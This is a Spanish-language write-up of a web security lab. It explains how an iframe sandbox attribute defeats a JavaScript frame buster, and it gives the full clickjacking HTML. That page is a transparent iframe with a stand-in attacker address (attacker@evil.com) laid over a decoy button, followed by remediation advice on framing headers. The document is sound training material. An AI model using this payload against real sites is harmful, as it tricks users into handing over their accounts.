Clickjacking with a frame buster script
Bypass del frame buster con el atributo sandbox: un iframe sin allow-scripts neutraliza el script anti-framing y permite clickjacking para cambiar el email.
Target Overview & Vulnerability Summary
El lab (nivel Apprentice) está protegido por un frame buster: un snippet de JavaScript que impide embeker la página. La defensa es client-side y se elude colocando el iframe con sandbox sin allow-scripts, de modo que el script anti-framing nunca se ejecuta. Con el frame buster neutralizado, el ataque de clickjacking cambia el email de la víctima.
| Campo | Valor |
|---|---|
| Severidad | Media-Alta (cambio de credencial de recuperación vía interacción engañosa) |
| Endpoint vulnerable | /my-account (formulario de cambio de email) |
| Root cause | Frame buster implementado en JavaScript (eludible con sandbox) + ausencia de X-Frame-Options/frame-ancestors |
Credenciales del laboratorio: wiener:peter. La víctima usa Chrome: probar el exploit en ese navegador.
Technical Breakdown & Exploitation Flow
1. El frame buster
La página de cuenta incluye el siguiente snippet:
<script>
if(top != self) {
window.addEventListener("DOMContentLoaded", function() {
document.body.innerHTML = 'This page cannot be framed';
}, false);
}
</script>
Si la página se carga dentro de un iframe (top != self), en DOMContentLoaded reemplaza el contenido del body, rompiendo el clicjacking. Pero es una defensa puramente client-side.
2. Bypass con el atributo sandbox
El atributo sandbox aplica restricciones al contenido del iframe. Sin allow-scripts, el JavaScript del frame buster no se ejecuta, por lo que la página embebida conserva su DOM funcional. Solo se concede allow-forms para que el formulario de cambio de email pueda enviarse desde el frame.
<html>
<head>
<title>Clickjacking with a frame buster script</title>
<style type="text/css">
#targetWebsite {
position:relative;
width:700px;
height:700px;
opacity:0.0001;
z-index:2;
}
#decoyWebsite {
position:absolute;
top:450px;
left:75px;
z-index:1;
}
</style>
</head>
<body>
<div id="decoyWebsite">Click me</div>
<iframe id="targetWebsite" src="https://0ad800490468631a82ffde5500700062.web-security-academy.net?email=attacker@evil.com" sandbox="allow-forms"></iframe>
</body>
</html>
Detalles clave del exploit:
sandbox="allow-forms": permite el envío de formularios dentro del frame sin ejecutar ningún script (el frame buster queda muerto).src="...?email=attacker@evil.com": el parámetro se usa aquí como vector de prefilling (en este lab la URL del formulario acepta pre-rellenar el campo).- El señuelo "Click me" se posiciona sobre el botón "Update email" dentro del iframe transparente.
Al hacer clic, la víctima envía el formulario pre-rellenado con el email del atacante y la cookie de sesión, cambiando su dirección.
Root Cause Analysis
El frame buster es una mitigación frágil por diseño: depende de que el JavaScript embebido pueda ejecutarse. El atributo sandbox del iframe permite al atacante desactivar la ejecución de scripts en el contenido embebido, neutralizando la defensa sin tocar la aplicación. La protección anti-clickjacking debe ser decidida por el servidor (cabeceras), no por el contenido de la página, porque el servidor no controla qué restricciones impone el contenedor.
Secure Remediation
- Eliminar la dependencia del frame buster client-side. Aplicar las cabeceras de control de framing a nivel de servidor:
X-Frame-Options: DENY
# o
Content-Security-Policy: frame-ancestors 'none'
- Restringir el framing solo a orígenes propios cuando el embebido sea legítimo:
Content-Security-Policy: frame-ancestors 'self'
- Para acciones de cambio de email, añadir verificación de que la request provenga de una navegación top-level (p. ej. validar
Sec-Fetch-Site/Origin) o exigir re-autenticación.